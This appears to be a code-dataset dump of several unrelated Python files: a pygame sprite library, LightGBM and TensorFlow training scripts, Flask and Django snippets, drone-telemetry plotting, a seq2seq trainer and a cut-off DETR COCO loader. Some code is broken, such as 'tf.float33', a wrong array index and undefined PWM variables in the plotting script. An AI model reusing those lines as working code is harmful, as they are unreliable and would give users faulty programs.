self.__dict__['_color'] = None\n if self.__dict__['_key'] is None:\n self._set_key(value, False, w, h, 0)\n else:\n key = self.__dict__['_key']\n self._set_key(value, *key[1:])\n else:\n sys.stderr.write(\"creating filed named \"+name)\n self.__dict__[name] = value\n\n def overlap(self, other, padding=0, padding2=None):\n '''b1.overlap(b1) returns a list of 2 values such that self.move(result) will cause them to not overlap\n Returns [0,0] if there is no overlap (i.e., if b1.touches(b2) returns False\n b1.overlap(b2, 5) adds a 5-pixel padding to b1 before computing the overlap\n b1.overlap(b2, 5, 10) adds a 5-pixel padding in x and a 10-pixel padding in y before computing the overlap'''\n if padding2 is None: padding2 = padding\n l = other.left - self.right - padding\n r = self.left - other.right - padding\n t = other.top - self.bottom - padding2\n b = self.top - other.bottom - padding2\n m = max(l, r, t, b)\n if m >= 0: return [0, 0]\n elif m == l: return [l, 0]\n elif m == r: return [-r, 0]\n elif m == t: return [0, t]\n else: return [0, -b]\n\n def touches(self, other, padding=0, padding2=None):\n '''b1.touches(b1) returns True if the two SpriteBoxes overlap, False if they do not\n b1.touches(b2, 5) adds a 5-pixel padding to b1 before computing the touch\n b1.touches(b2, 5, 10) adds a 5-pixel padding in x and a 10-pixel padding in y before computing the touch'''\n if padding2 is None: padding2 = padding\n l = other.left - self.right - padding\n r = self.left - other.right - padding\n t = other.top - self.bottom - padding2\n b = self.top - other.bottom - padding2\n return max(l,r,t,b) <= 0\n\n def bottom_touches(self, other, padding=0, padding2=None):\n '''b1.bottom_touches(b2) returns True if both b1.touches(b2) and b1's bottom edge is the one causing the overlap.'''\n if padding2 is None: padding2 = padding\n return self.overlap(other,padding+1,padding2+1)[1] < 0\n\n def top_touches(self, other, padding=0, padding2=None):\n '''b1.top_touches(b2) returns True if both b1.touches(b2) and b1's top edge is the one causing the overlap.'''\n if padding2 is None: padding2 = padding\n return self.overlap(other,padding+1,padding2+1)[1] > 0\n\n def left_touches(self, other, padding=0, padding2=None):\n '''b1.left_touches(b2) returns True if both b1.touches(b2) and b1's left edge is the one causing the overlap.'''\n if padding2 is None: padding2 = padding\n return self.overlap(other,padding+1,padding2+1)[0] > 0\n\n def right_touches(self, other, padding=0, padding2=None):\n '''b1.right_touches(b2) returns True if both b1.touches(b2) and b1's right edge is the one causing the overlap.'''\n if padding2 is None: padding2 = padding\n return self.overlap(other,padding+1,padding2+1)[0] < 0\n\n def contains(self, x, y=None):\n '''checks if the given point is inside this SpriteBox's bounds or not'''\n if y is None: x,y = x\n return abs(x-self.x)*2 < self._w and abs(y-self.y)*2 < self._h\n\n def move_to_stop_overlapping(self, other, padding=0, padding2=None):\n '''b1.move_to_stop_overlapping(b2) makes the minimal change to b1's position necessary so that they no longer overlap'''\n o = self.overlap(other,padding, padding2)\n if o != [0,0]:\n self.move(o)\n if o[0] * self.speedx < 0: self.speedx = 0\n if o[1] * self.speedy < 0: self.speedy = 0\n def move_both_to_stop_overlapping(self, other, padding=0, padding2=None):\n '''b1.move_both_to_stop_overlapping(b2) changes both b1 and b2's positions so that they no longer overlap'''\n o = self.overlap(other,padding, padding2)\n if o != [0,0]:\n self.move(o[0]/2,o[1]/2)\n other.move(-o[0]/2,-o[1]/2)\n if o[0] != 0:\n self.speedx = (self.speedx+other.speedx)/2\n other.speedx = self.speedx\n if o[1] != 0:\n self.speedy = (self.speedy+other.speedy)/2\n other.speedy = self.speedy\n\n\n def move(self, x, y=None):\n '''change position by the given amount in x and y. If only x given, assumed to be a point [x,y]'''\n if y is None: x, y = x\n self.x += x\n self.y += y\n\n def move_speed(self):\n '''change position by the current speed field of the SpriteBox object'''\n self.move(self.speedx, self.speedy)\n\n def full_size(self):\n '''change size of this SpriteBox to be the original size of the source image'''\n if self.__dict__['_key'] is None: return\n key = self.__dict__['_key']\n self._set_key(key[0],key[1],0,0,key[4])\n\n def __repr__(self):\n return str(self)\n\n def __str__(self):\n return '%dx%d SpriteBox centered at %d,%d' % (self._w, self._h, self.x, self.y)\n\n def copy_at(self, newx, newy):\n '''Make a new SpriteBox just like this one but at the given location instead of here'''\n return SpriteBox(newx, newy, self._image, self._color, self._w, self._h)\n def copy(self):\n '''Make a new SpriteBox just like this one and in the same location'''\n return self.copy_at(self.x, self.y)\n\n def scale_by(self, multiplier):\n '''Change the size of this SpriteBox by the given factor\n b1.scale_by(1) does nothing; b1.scale_by(0.4) makes b1 40% of its original width and height.'''\n if self.__dict__['_key'] is None:\n self._w *= multiplier\n self._h *= multiplier\n else:\n key = self.__dict__['_key']\n self._set_key(key[0], key[1], key[2]*multiplier, key[3]*multiplier, key[4])\n\n def draw(self, surface):\n '''b1.draw(camera) is the same as saying camera.draw(b1)\n b1.draw(image) draws a copy of b1 on the image proivided'''\n if isinstance(surface, Camera):\n if self.__dict__['_color'] is not None:\n region = self.rect.move(-surface._x, -surface._y)\n region = region.clip(surface._surface.get_rect())\n surface._surface.fill(self._color, region)\n elif self.__dict__['_image'] is not None:\n surface._surface.blit(self._image, [self.left - surface._x, self.top - surface._y])\n else:\n if self.__dict__['_color'] is not None:\n surface.fill(self._color, self.rect)\n elif self.__dict__['_image'] is not None:\n surface.blit(self._image, self.topleft)\n def flip(self):\n '''mirrors the SpriteBox left-to-right. \n Mirroring top-to-bottom can be accomplished by\n b1.rotate(180)\n b1.flip()'''\n if self.__dict__['_key'] is None: return\n key = self.__dict__['_key']\n self._set_key(key[0], not key[1], *key[2:])\n \n def rotate(self, angle):\n '''Rotates the SpriteBox by the given angle (in degrees).'''\n if self.__dict__['_key'] is None: return\n key = self.__dict__['_key']\n self._set_key(key[0], key[1], key[2], key[3], key[4]+angle)\n\n_timeron = False\n_timerfps = 0\ndef timer_loop(fps, callback):\n '''Requests that pygame call the provided function fps times a second\n fps: a number between 1 and 60\n callback: a function that accepts a set of keys pressed since the last tick\n ----\n seconds = 0\n def tick(keys):\n seconds += 1/30\n if pygame.K_DOWN in keys:\n print 'down arrow pressed'\n if not keys:\n print 'no keys were pressed since the last tick'\n camera.draw(box)\n camera.display()\n \n gamebox.timer_loop(30, tick)\n ----'''\n global _timeron, _timerfps\n keys = set([])\n if fps > 1000: fps = 1000\n _timerfps = fps\n _timeron = True\n pygame.time.set_timer(pygame.USEREVENT, int(1000/fps))\n while True:\n event = pygame.event.wait()\n if event.type == pygame.QUIT: break\n if event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE: break\n if event.type == pygame.KEYDOWN:\n keys.add(event.key)\n if event.type == pygame.KEYUP and event.key in keys:\n keys.remove(event.key)\n if event.type == pygame.USEREVENT:\n pygame.event.clear(pygame.USEREVENT)\n callback(keys)\n pygame.time.set_timer(pygame.USEREVENT, 0)\n _timeron = False\n\ndef pause():\n '''Pauses the timer; an error if there is no timer to pause'''\n if not _timeron: raise Exception(\"Cannot pause a timer before calling timer_loop(fps, callback)\")\n pygame.time.set_timer(pygame.USEREVENT, 0)\ndef unpause():\n '''Unpauses the timer; an error if there is no timer to unpause'''\n if not _timeron: raise Exception(\"Cannot pause a timer before calling timer_loop(fps, callback)\")\n pygame.time.set_timer(pygame.USEREVENT, int(1000/_timerfps))\n\ndef stop_loop():\n '''Completely quits one timer_loop or keys_loop, usually ending the program'''\n pygame.event.post(pygame.event.Event(pygame.QUIT))\n\ndef keys_loop(callback):\n '''Requests that pygame call the provided function each time a key is pressed\n callback: a function that accepts the key pressed\n ----\n def onPress(key):\n if pygame.K_DOWN == key:\n print 'down arrow pressed'\n if pygame.K_a in keys:\n print 'A key pressed'\n camera.draw(box)\n camera.display()\n \n gamebox.keys_loop(onPress)\n ----'''\n while True:\n event = pygame.event.wait()\n if event.type == pygame.QUIT: break\n if event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE: break\n if event.type == pygame.KEYDOWN:\n callback(event.key)\n\n\nif __name__ == \"__main__\":\n camera = Camera(400, 400)\n\n camera.x = 10\n\n b = from_text(40,50,\"Blue\",\"Arial\",40,\"red\", italic=True, bold=True)\n b.speedx = 3\n b.left += 2\n b.y = 100\n b.move_speed()\n\n camera.draw(b)\n camera.display()\n\n smurfs = load_sprite_sheet(\"http://www.flashpulse.com/moho/smurf_sprite.PNG\", 4, 4)\n \n def tick(keys):\n if keys:\n if pygame.K_0 in keys: b.image = smurfs[0]\n elif pygame.K_1 in keys: b.image = smurfs[1]\n elif pygame.K_2 in keys: b.image = smurfs[2]\n elif pygame.K_3 in keys: b.image = smurfs[3]\n elif pygame.K_4 in keys: b.image = smurfs[4]\n elif pygame.K_5 in keys: b.image = smurfs[5]\n elif pygame.K_6 in keys: b.image = smurfs[6]\n elif pygame.K_7 in keys: b.image = smurfs[7]\n elif pygame.K_8 in keys: b.image = smurfs[8]\n elif pygame.K_9 in keys: b.image = smurfs[9]\n elif pygame.K_a in keys: stop_loop()\n elif keys: b.image = \"http://www.pygame.org/docs/_static/pygame_tiny.png\"\n b.full_size()\n b.rotate(-5)\n b.center = camera.mouse\n b.bottom = camera.bottom\n camera.draw(b)\n camera.display()\n \n timer_loop(30, tick)\n\n\n","sub_path":"game_project/gamebox.py","file_name":"gamebox.py","file_ext":"py","file_size_in_byte":26313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"636253695","text":"import sklearn.model_selection\nimport sklearn.metrics\nimport lightgbm\nimport pandas\nimport numpy\nimport os\nimport sys\nsys.path.append(\"..\")\nimport preprocess_data\nimport random\n \nparams = {\n 'boosting_type':'dart',\n 'learning_rate':0.1, \n 'n_estimators':100,\n 'subsample':0.9, \n 'colsample_bytree':0.9,\n 'reg_alpha':0.1,\n 'reg_lambda':0.1,\n 'min_child_samples':200,\n 'min_child_weight':0.01, \n 'num_leaves':500,\n #'class_weight':'balanced'\n }\n \nfor man_or_woman in ['man','woman']:\n if man_or_woman=='man':\n all_shoe=['M','L','D']\n elif man_or_woman=='woman':\n all_shoe=['Z','D','M','L','Q']\n for shoe in all_shoe:\n train_x, train_y, test_x, test_y = preprocess_data.size_1shoe(man_or_woman, shoe)\n\n model = lightgbm.sklearn.LGBMClassifier(**params)\n model = model.fit(train_x, train_y)\n y = model.predict(test_x)\n report=sklearn.metrics.classification_report(test_y, y)\n\n with open(\"summary/lgbm_%s_%s\"%(man_or_woman,shoe),'w') as f:\n f.write(report)\n print(report)\n\n pandas.to_pickle(model,'model/lgbm_%s_%s' % (man_or_woman,shoe))","sub_path":"train_size/lgbm_1shoe.py","file_name":"lgbm_1shoe.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"287188977","text":"from app import db\n\nclass Words(db.Model):\n __tablename__ = 'words'\n\n id = db.Column(db.Integer, primary_key=True)\n mark = db.Column(db.Integer)\n category = db.Column(db.String())\n romanian = db.Column(db.String())\n english = db.Column(db.String())\n\n def __init__(self,mark,category,romanian,english):\n self.mark = mark\n self.category = category\n self.romanian = romanian\n self.english = english\n\n def __repr__(self):\n return '<romanian {}>'.format(self.romanian)\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"131657784","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport pylab as pl\nimport tensorflow as tf\nimport matplotlib.gridspec as gridspec\nget_ipython().magic(u'matplotlib inline')\n\n\ntrain = np.concatenate([ np.loadtxt('train3_12345.txt' ), \n np.loadtxt('train3_6789.txt' ), \n np.loadtxt('train3_101112.txt')])\nlabel = np.concatenate([ np.loadtxt('label3_12345.txt' ), \n np.loadtxt('label3_6789.txt' ), \n np.loadtxt('label3_101112.txt')]).reshape(-1,1)\n\ntrain.shape, label.shape\n\n\n# In[4]:\n\n\ncov = 1/len(train)*np.dot((train-train.mean(0)).T, train-train.mean(0))\nu,s,v = np.linalg.svd(cov)\nrestriction = 39\nprint(s[:restriction].sum()/s.sum())\nU = u[:,:restriction]\nreduction = np.dot(train, U)\nMax, Min = np.max(label), np.min(label)\nprint(reduction.shape)\n\n\n# In[5]:\n\n\ndef FFN(TraX, TraY, TesX, TesY, learning_rate, epochs, batch_size, dim, act): \n fn1 = tf.nn.sigmoid\n fn2 = tf.nn.relu\n def fn3(x):\n return x/(1+np.abs(x))\n ac = [fn1,fn3,fn1,fn3,fn1,fn1,fn1,fn1,fn1,fn1,fn1,fn1,fn1,fn1] # number of entry = len(dim) - 2\n total_batch = int(len(TraX)/batch_size) + 1\n Xdata = [ TraX[i*batch_size:(i+1)*batch_size] for i in range(total_batch) ]\n Ydata = [ TraY[i*batch_size:(i+1)*batch_size] for i in range(total_batch) ]\n \n tf.reset_default_graph()\n X = tf.placeholder(tf.float32, [None, TraX.shape[1]])\n Y = tf.placeholder(tf.float33, [None, TraY.shape[1]])\n \n W = [ tf.Variable(tf.random_normal([dim[i], dim[i+1]])) for i in range(len(dim) - 1) ]\n b = [ tf.Variable(tf.random_normal([dim[i+1]])) for i in range(len(dim) - 1) ]\n A = [ X ]\n for i in range(len(dim) - 2):\n A.append(ac[i](tf.matmul(A[-1], W[i]) + b[i]))\n A.append(tf.matmul(A[-1], W[-1]) + b[-1]) \n if act == 0:\n cost = tf.sqrt(tf.reduce_mean(tf.reduce_mean(tf.square(Y - A[-1]) ))) \n if act == 1:\n cost = tf.sqrt(tf.reduce_mean(tf.reduce_mean(tf.square(Y - A[-1])*error_function(Y,label,100,12,1,5) ))) \n gogo = tf.train.AdamOptimizer(learning_rate).minimize(cost)\n real = tf.placeholder(tf.float32, [None, TraY.shape[1]])\n pred = tf.placeholder(tf.float32, [None, TraY.shape[1]])\n rmse = tf.sqrt(tf.reduce_mean(tf.reduce_mean(tf.square(real - pred))))\n sess = tf.Session()\n sess.run(tf.global_variables_initializer())\n for epoch in range(epochs): \n for i in range(total_batch):\n feed1 = {X:Xdata[i], Y:Ydata[i]}\n sess.run(gogo, feed_dict = feed1)\n training_error = sess.run(cost, feed_dict = feed1)\n prediction = sess.run(A[-1], feed_dict = {X:TesX})\n test_error = sess.run(rmse, feed_dict = {real:TesY, pred:prediction})\n if epoch % int(epochs/5) == 0: \n print('Training Error:',training_error,'and','Testing Error:', test_error)\n return prediction\ndef Figure(Label, Prediction, bins):\n recover_testY = (Max-Min)*Label.flatten() + Min\n recover_pred = (Max-Min)*Prediction.flatten() + Min\n pl.figure(figsize=(15,15))\n gs = gridspec.GridSpec(2,2, width_ratios=[1,1], height_ratios=[1,1])\n \n pl.subplot(gs[0,:])\n pl.plot(recover_testY/1000, c='r', label ='Observation')\n pl.plot(recover_pred /1000, c='b', label ='Prediction')\n pl.ylabel('height(km)')\n pl.legend()\n print('RMSE:' , np.round(rmse(Label, Prediction) , 4))\n print('real RMSE:', np.round(Rmse(Label, Prediction) , 4))\n print('CC:' , np.round( cc(Label, Prediction) , 4))\n \n pl.subplot(gs[2]) # values prediction and testY are between -4 and 4\n aa = recover_pred\n bb = recover_testY\n interval = np.array([ Min + (Max - Min)/bins*i for i in range(bins+1) ])\n interval1 = np.array([ Min + (Max - Min)/bins*i for i in range(bins+1) ])\n revised_interval = interval[:-1] + (Max - Min)/(2*bins)\n revised_interval1 = interval1[:-1] + (Max - Min)/(2*bins)\n cumulative_number = []\n cumulative_number1 = []\n for i in range(bins):\n cumulative_number.append( (aa < interval[i+1] ).sum() - (aa < interval[i] ).sum() )\n cumulative_number1.append( (bb < interval1[i+1]).sum() - (bb < interval1[i]).sum() )\n pl.plot(revised_interval/1000 , cumulative_number , color='green', alpha=0.5, label='Prediction') \n pl.fill_between(revised_interval/1000 , cumulative_number, 0, color='green', alpha=0.5)\n pl.plot(revised_interval1/1000 , cumulative_number1 , color='red' , alpha=0.5 ,label='Observation') \n pl.fill_between(revised_interval1/1000 ,cumulative_number1, 0, color='red' , alpha=0.5)\n pl.ylabel('number of samples')\n pl.xlabel('height(km)')\n pl.legend() \n pl.title('Distribution')\n pl.legend()\n \n pl.subplot(gs[3])\n pl.scatter(recover_testY/1000, recover_pred/1000,s=3)\n pl.plot(np.arange(18000)/1000,np.arange(18000)/1000,c='black',linestyle = ':')\n pl.axis([0,18,0,18])\n pl.xticks([0,5,10,15])\n pl.yticks([0,5,10,15])\n pl.xlabel('Observation(km)')\n pl.ylabel('Prediction(km)')\n pl.title('Correlation')\n pl.grid()\ndef error_function(x, data, bins, degree, Min, Max):\n vec = ((data - np.min(data,0))/(np.max(data,0)-np.min(data,0)))\n interval = [ i/bins for i in range(bins + 1)]\n frequency = np.array([ ((vec<=interval[i+1]).sum() - (vec<interval[i]).sum())/len(vec) for i in range(bins) ])\n xx = np.arange(bins)/(bins - 1)\n mat = np.concatenate([(xx**i).reshape(-1,1) for i in range(degree)], axis=1)\n coef = np.dot(np.linalg.inv(np.dot(mat.T,mat)), np.dot(mat.T, frequency))\n poly = 1 - sum([coef[i]*(x**i) for i in range(degree)])\n values = 1 - sum([coef[i]*(xx**i) for i in range(degree)])\n M, N = np.max(values), np.min(values)\n return (Max - Min)/(M - N)*(poly - N) + Min \ndef uniformize(reduction, label):\n mat = np.concatenate([reduction, label], axis=1)\n temporary = []\n for i in range(mat.shape[1]):\n a = np.arange(len(mat)).reshape(-1,1)\n b = np.concatenate([a,mat[:,[i]]], axis=1)\n c = b[b[:,1].argsort()]\n c[:,1] = np.arange(len(mat))/(len(mat)-1)\n d = c[c[:,0].argsort()]\n temporary.append(d[:,1])\n input_data = (np.array(temporary).T)[:, :-1]\n target = (np.array(temporary).T)[:,[-1]]\n return input_data, target\ndef rmse(x,y):\n x = x.flatten()\n y = y.flatten()\n return np.sqrt((((x-y))**2).mean())\ndef Rmse(x,y):\n return np.sqrt( ( ( ((Max-Min)*x+Min).flatten()-((Max-Min)*y+Min).flatten() )**2 ).mean() )\ndef cc(x,y):\n return np.corrcoef( x.flatten(), y.flatten() )[0,1]\ndef sort(x):\n return np.sort(x.flatten())\ndef unit(x):\n return (x-np.min(x,0))/(np.max(x,0)-np.min(x,0))\ndef f_act(x):\n degree = 12\n y_val = np.sort(unit(label.flatten()))\n X = (np.arange(len(y_val))/(len(y_val)-1) )\n mat = np.concatenate([(X**i).reshape(-1,1) for i in range(degree)], axis=1)\n coef = np.dot(np.linalg.inv(np.dot(mat.T,mat)), np.dot(mat.T, y_val))\n poly = sum([coef[i]*(x**i) for i in range(degree)])\n return poly\nx = np.arange(100001)/100000\npl.figure(figsize=(14,4))\npl.subplot(131)\npl.plot(x,f_act(x))\npl.plot(np.arange(len(label))/(len(label)-1),np.sort(unit(label.flatten())))\npl.subplot(132)\npl.plot(x, error_function(x, label, 100, 12, 1, 10))\npl.subplot(133)\n_,_,_ = pl.hist(label, 100)\n\n\n# In[4]:\n\n\n# As usual\nTrain, Label = unit(reduction), unit(label)\nntrain = int(0.7*len(reduction))\ntrainX, trainY, testX, testY = Train[:ntrain], Label[:ntrain], Train[ntrain:], Label[ntrain:]\nprint(trainX.shape, trainY.shape, testX.shape, testY.shape)\ndim = [trainX.shape[1], 30, 30, 30,10, trainY.shape[1]]\nrmse1,cc1 = [],[]\nfor i in range(20):\n prediction = FFN(trainX, trainY, testX, testY, 0.005, 50, 1024*4, dim, 0)\n rmse1.append(Rmse(prediction, testY))\n cc1.append(cc(prediction, testY))\n\n\n# In[5]:\n\n\n# Apply error function\nTrain, Label = unit(reduction), unit(label)\nntrain = int(0.7*len(reduction))\ntrainX, trainY, testX, testY = Train[:ntrain], Label[:ntrain], Train[ntrain:], Label[ntrain:]\nprint(trainX.shape, trainY.shape, testX.shape, testY.shape)\ndim = [trainX.shape[1], 30, 30, 30,10, trainY.shape[1]]\nrmse2, cc2 = [], []\nfor i in range(20):\n prediction = FFN(trainX, trainY, testX, testY, 0.005, 50, 1024*4, dim, 1)\n rmse2.append(Rmse(prediction, testY))\n cc2.append(cc(prediction, testY))\n\n\n# In[6]:\n\n\nnp.sort(rmse1)[:10].mean(), np.sort(rmse2)[:10].mean(), np.sort(cc1)[10:].mean(), np.sort(cc2)[10:].mean()\n\n\n# In[4]:\n\n\n# As usual\nTrain, Label = unit(reduction), unit(label)\nntrain = int(0.7*len(reduction))\ntrainX, trainY, testX, testY = Train[:ntrain], Label[:ntrain], Train[ntrain:], Label[ntrain:]\nprint(trainX.shape, trainY.shape, testX.shape, testY.shape)\ndim = [trainX.shape[1], 30, 30, 30,10, trainY.shape[1]]\nprediction = FFN(trainX, trainY, testX, testY, 0.005, 50, 1024*4, dim, 0)\nFigure(testY, prediction, 50)\n\n\n# In[5]:\n\n\n# Apply error function\nTrain, Label = unit(reduction), unit(label)\nntrain = int(0.7*len(reduction))\ntrainX, trainY, testX, testY = Train[:ntrain], Label[:ntrain], Train[ntrain:], Label[ntrain:]\nprint(trainX.shape, trainY.shape, testX.shape, testY.shape)\ndim = [trainX.shape[2], 30, 30, 30,10, trainY.shape[1]]\nprediction = FFN(trainX, trainY, testX, testY, 0.005, 50, 1024*4, dim, 1)\nFigure(testY, prediction, 50)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"report3.py","file_name":"report3.py","file_ext":"py","file_size_in_byte":9563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"317365021","text":"from django.conf.urls import include, url\nfrom board import views\nfrom board.views import *\n\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\n\nurlpatterns = [\n\n url(r'^$', views.home, name = 'index'),\n url(r'^show_write_form/$', views.show_write_form, name='show_write_form'),\n url(r'^DoWriteBoard/$', views.DoWriteBoard, name='DoWriteBoard'),\n url(r'^viewWork/$', views.viewWork, name='viewWork'),\n # url(r'^/listSpecificPageWork/$', views.listSpecificPageWork, name='listSpecificPageWork'),\n url(r'^listSpecificPageWork_to_update/$', views.listSpecificPageWork_to_update, name='listSpecificPageWork_to_update'),\n url(r'^updateBoard/$', views.updateBoard, name='updateBoard'),\n url(r'^DeleteSpecificRow/$', views.DeleteSpecificRow, name='DeleteSpecificRow'),\n url(r'^searchWithSubject/$', views.searchWithSubject, name='searchWithSubject'),\n # url(r'^/listSearchedSpecificPageWork/$', views.listSearchedSpecificPageWork, name='listSpecificPageWork'),\n\n\n\n]\n","sub_path":"board/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"34054508","text":"## MTRX5700\n# Xue Yin Zhang\n#\n# Dependencies: check init_boots.py to see which data packages have been enabled/saved\n#\n# Note to Neill: check battery status before each move\n\nfrom numpy import *\nimport math\nimport matplotlib.pyplot as plt\n#import pylab as plt\nimport pickle\n\nwith open('navdata-vars.pickle') as f: # Python 3: open(..., 'rb')\n# pitch, roll, yaw, demo_alt, vx, vy, vz, nav_time, magneto, magneto_raw, pwm_fl, pwm_fr, pwm_br, pwm_bl, detect_n, detect_type, detect_x, detect_y, detect_width, detect_depth, detect_dist, detect_ang, detect_rot, checksum = pickle.load(f)\n pitch, roll, yaw, demo_alt, vx, vy, vz, nav_time, mx, my, mz, detect_n, detect_dist, detect_rot = pickle.load(f)\n\n## plot the pwm data\nx = [y - nav_time[0] for y in nav_time]\n#nav_time[0]\n#nav_time[0] - 1\nplt.figure(1)\n\nplt.subplot(211)\nplt.plot(x, pwm_fl,'r', label = \"front left\")\nplt.plot(x, pwm_fr,'g', label = \"front right\")\nplt.plot(x, pwm_br,'b', label = \"back right\")\nplt.plot(x, pwm_bl,'c', label = \"back left\")\nplt.legend(loc='upper right')\nplt.grid(True)\nplt.title(\"Motor PWM values\")\nplt.ylabel(\"Motor PWMs\")\nplt.xlabel(\"Time (s)\")\n\nplt.subplot(212)\nplt.plot(x, pitch,'r', label = \"pitch\")\nplt.plot(x, roll,'g', label = \"roll\")\nplt.plot(x, yaw,'b', label = \"yaw\")\nplt.legend(loc='upper right')\nplt.grid(True)\nplt.title(\"Accelerometer values\")\nplt.ylabel(\"Angle\")\nplt.xlabel(\"Time (s)\")\n\nplt.show()\n\nplt.figure(2)\nplt.plot(x, detect_n)\n\nplt.show()\n\n##\n\n\n#print \"show number of markers\"\n#for p in detect_n: print p\n","sub_path":"code/NavData/8Jun/4rotate-clockwise/plot-boots.py","file_name":"plot-boots.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"193872515","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom dataset import sequence\nfrom common.optimizer import Adam\nfrom common.trainer import Trainer\nfrom common.util import eval_seq2seq\nfrom ch07.seq2seq import Seq2seq\nfrom ch07.peeky_seq2seq import PeekySeq2seq\n\n\n# データセットの読み込み\n(x_train, t_train), (x_test, t_test) = sequence.load_data('addition.txt')\nchar_to_id, id_to_char = sequence.get_vocab()\n\n# 改良①:入力データの反転\nx_train, x_test = x_train[:, ::-1], x_test[:, ::-1]\n\n# ハイパーパラメータの設定\nvocab_size = len(char_to_id)\nwordvec_size = 16\nhidden_size = 128\nbatch_size = 128\nmax_epoch = 25\nmax_grad = 5.0\n\n# モデル / オプティマイザ / トレーナーの生成\n# model = Seq2seq(vocab_size, wordvec_size, hidden_size)\n# 改良②:PeekySeq2seq(エンコードされた入力データのベクトルhをすべてのレイヤで使用する)\nmodel = PeekySeq2seq(vocab_size, wordvec_size, hidden_size)\noptimizer = Adam()\ntrainer = Trainer(model, optimizer)\n\nacc_list = []\nfor epoch in range(max_epoch):\n trainer.fit(x_train, t_train, max_epoch=1, batch_size=batch_size, max_grad=max_grad)\n\n correct_num = 0\n for i in range(len(x_test)):\n question, correct = x_train[[i]], t_test[[i]]\n verbose = i < 10\n correct_num += eval_seq2seq(model, question, correct, id_to_char, verbose, True)\n\n acc = float(correct_num) / len(x_test)\n acc_list.append(acc)\n print('val acc %.3f%%' % (acc * 100))\n\n# 改良前:少しずつだが、着実に学習している\n# | epoch 1 | iter 1 / 351 | time 0[s] | loss 2.56\n# | epoch 1 | iter 21 / 351 | time 1[s] | loss 2.53\n# | epoch 1 | iter 41 / 351 | time 2[s] | loss 2.17\n# ...\n# val acc 0.040%\n# | epoch 5 | iter 1 / 351 | time 0[s] | loss 1.28\n# | epoch 5 | iter 21 / 351 | time 0[s] | loss 1.29\n# | epoch 5 | iter 41 / 351 | time 1[s] | loss 1.28\n\n# 改良①:学習の進みが早くなる\n# 変換前と変換後の単語の位置(時系列)が近くなるため、\n# 学習の進みが早くなると考えられている(理論的なことはわかっていない。。)\n# | epoch 1 | iter 1 / 351 | time 0[s] | loss 2.56\n# | epoch 1 | iter 21 / 351 | time 0[s] | loss 2.52\n# | epoch 1 | iter 41 / 351 | time 1[s] | loss 2.17\n# ...\n# val acc 0.080%\n# | epoch 5 | iter 1 / 351 | time 0[s] | loss 1.01\n# | epoch 5 | iter 21 / 351 | time 0[s] | loss 1.01\n# | epoch 5 | iter 41 / 351 | time 1[s] | loss 1.00\n\n# 改良②:Peekyを実装\n# val acc 0.020%\n# | epoch 25 | iter 1 / 351 | time 0[s] | loss 0.02\n# | epoch 25 | iter 21 / 351 | time 0[s] | loss 0.01\n# | epoch 25 | iter 41 / 351 | time 1[s] | loss 0.01\n# →まったく学習が進んでいない、実装が間違えてる。。\n\n# 2019/04/22\n# eval_seq2seqの引数に改良①(リバース)の引数が漏れてた\n# そのため、学習は進んでいたが、評価時に正しいデータとマッチングできていなかった\n# val acc 96.960%\n# | epoch 25 | iter 1 / 351 | time 0[s] | loss 0.02\n# | epoch 25 | iter 21 / 351 | time 0[s] | loss 0.01\n# | epoch 25 | iter 41 / 351 | time 1[s] | loss 0.01","sub_path":"ch07/train_seq2seq.py","file_name":"train_seq2seq.py","file_ext":"py","file_size_in_byte":3162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"294009221","text":"# Copyright (c) 2021 PPViT Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nDataset(COCO2017) related classes and methods for DETR training and validation\n\"\"\"\n\nimport os\nimport copy\nimport numpy as np\nfrom PIL import Image\nimport paddle\nfrom pycocotools.coco import COCO\nfrom pycocotools import mask as coco_mask\nimport transforms as T\nfrom utils import nested_tensor_from_tensor_list\n\n\nclass CocoDetection(paddle.io.Dataset):\n \"\"\" COCO Detection dataset\n\n This class gets images and annotations for paddle training and validation.\n Transform(preprocessing) can be applied in __getitem__ method.\n\n Attributes:\n img_folder: path where coco images is stored, e.g.{COCO_PATH}/train2017\n anno_file: path where annotation json file is stored\n transforms: transforms applied on data, see make_coco_transform for details\n return_masks: if true, return coco masks, default: False (now only support False)\n \"\"\"\n\n def __init__(self, img_folder, anno_file, transforms, return_masks):\n super(CocoDetection, self).__init__()\n self.coco = COCO(anno_file)\n # coco all image ids\n ids = list(sorted(self.coco.imgs.keys()))\n # remove ids where anno has no bboxes\n self.ids = self._remove_images_without_annotations(ids)\n self._transforms = transforms\n # prepare filters labels and put image and label to paddle tensors\n self.prepare = ConvertCocoPolysToMasks(return_masks)\n self.root = img_folder\n self.ids2cats = {id:cat for id, cat in 